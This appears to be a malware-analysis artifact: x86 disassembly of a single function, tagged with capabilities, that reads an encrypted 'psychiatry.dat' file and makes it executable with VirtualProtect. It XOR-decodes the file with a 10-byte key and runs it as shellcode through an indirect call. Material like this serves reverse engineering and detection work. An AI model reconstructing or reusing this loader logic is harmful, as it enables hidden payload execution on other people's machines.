Function at 0x10001b50
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push esi
push edi
push 0x104
xor edi, edi
push 0x1001d2d8
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x1001d2d8
push 0x1001d3e0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [esi + 0x1001d2d7], 0
lea eax, [esi + 0x1001d2d7]
je 0x10001bab
lea esp, [esp]
cmp byte [eax], 0x5c
je 0x10001bab
dec eax
cmp byte [eax], 0
jne 0x10001ba0
push str.psychiatry.dat
push 0x1001d2d8
mov byte [eax + 1], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x184]
push eax
call fcn.10002620
mov ecx, dword [ebp - 0x184]
mov edx, dword [ecx + 4]
test byte [ebp + edx - 0x178], 6
je 0x10001be4
push edi
call fcn.1000524f
lea esi, [ebp - 0x184]
call fcn.10002240
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x178], 6
jne 0x10001c22
mov ecx, dword [ebp + eax - 0x14c]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 1
push edi
push edi
lea eax, [ebp - 0x1c]
push eax
call edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
jmp 0x10001c35
mov ecx, dword [0x10017a6c]
mov eax, dword [0x10017a68]
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov dword [ebp - 0x10], edi
add eax, ecx
mov dword [0x1001d2cc], eax
lea eax, [ebp - 0x174]
call fcn.10003700
test eax, eax
jne 0x10001c7e
mov edx, dword [ebp - 0x184]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x178]
lea ecx, [ebp + ecx - 0x184]
or eax, 2
cmp dword [ecx + 0x38], edi
jne 0x10001c6d
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10001c7e
push edi
call fcn.10001950
mov eax, dword [0x1001d2cc]
push eax
call fcn.10004b40
add esp, 4
lea ecx, [ebp - 0xbc]
push ecx
lea edx, [ebp - 0xd4]
push edx
mov dword [0x1001d2d0], eax
mov dword [ebp - 0xd4], 0x10018120
mov dword [ebp - 0xc4], 0x10018128
mov dword [ebp - 0x64], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
call fcn.10003ad0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax + 4]
lea esi, [ebp - 0xbc]
mov dword [ebp + ecx - 0xd4], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
call fcn.100035a0
push 0x21
mov ecx, esi
call fcn.10003610
test eax, eax
jne 0x10001d0f
mov edx, dword [ebp - 0xd4]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0xc8]
lea ecx, [ebp + ecx - 0xd4]
or eax, 2
cmp dword [ecx + 0x38], edi
jne 0x10001d30
or eax, 4
jmp 0x10001d30
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x9c]
lea ecx, [ebp + ecx - 0xd4]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x10001d41
push edi
call fcn.10001950
mov eax, dword [0x1001d2cc]
cdq
push edx
push eax
lea ecx, [ebp - 0xd4]
push ecx
call fcn.100020f0
lea eax, [ebp - 0xbc]
call fcn.10003700
test eax, eax
jne 0x10001d97
mov edx, dword [ebp - 0xd4]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0xc8]
lea ecx, [ebp + ecx - 0xd4]
or eax, 2
cmp dword [ecx + 0x38], edi
jne 0x10001d86
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10001d97
push edi
call fcn.10001950
mov eax, dword [0x1001d2cc]
mov ecx, dword [0x1001d2d0]
push 0x1001d4e4
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x1001d2cc]
mov ecx, dword [0x1001d3dc]
mov edi, dword [0x1001d2d0]
add eax, 0xfffffff6
mov dword [0x1001d2c8], eax
cmp ecx, eax
jge 0x10001e06
mov edi, edi
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + eax*4]
add edx, edx
mov eax, ecx
sub eax, edx
mov dl, byte [eax + edi]
xor byte [ecx + edi + 0xa], dl
mov ecx, dword [0x1001d3dc]
inc ecx
mov dword [0x1001d3dc], ecx
cmp ecx, dword [0x1001d2c8]
jl 0x10001dd0
call fcn.10001000
test eax, eax
jne 0x10001e29
push 0x104
push str.rubicunddata
push 0x1001d4e8
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
call fcn.10001250
mov eax, dword [0x1001d2d0]
call eax
push 0x8fc
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.1000524f
int3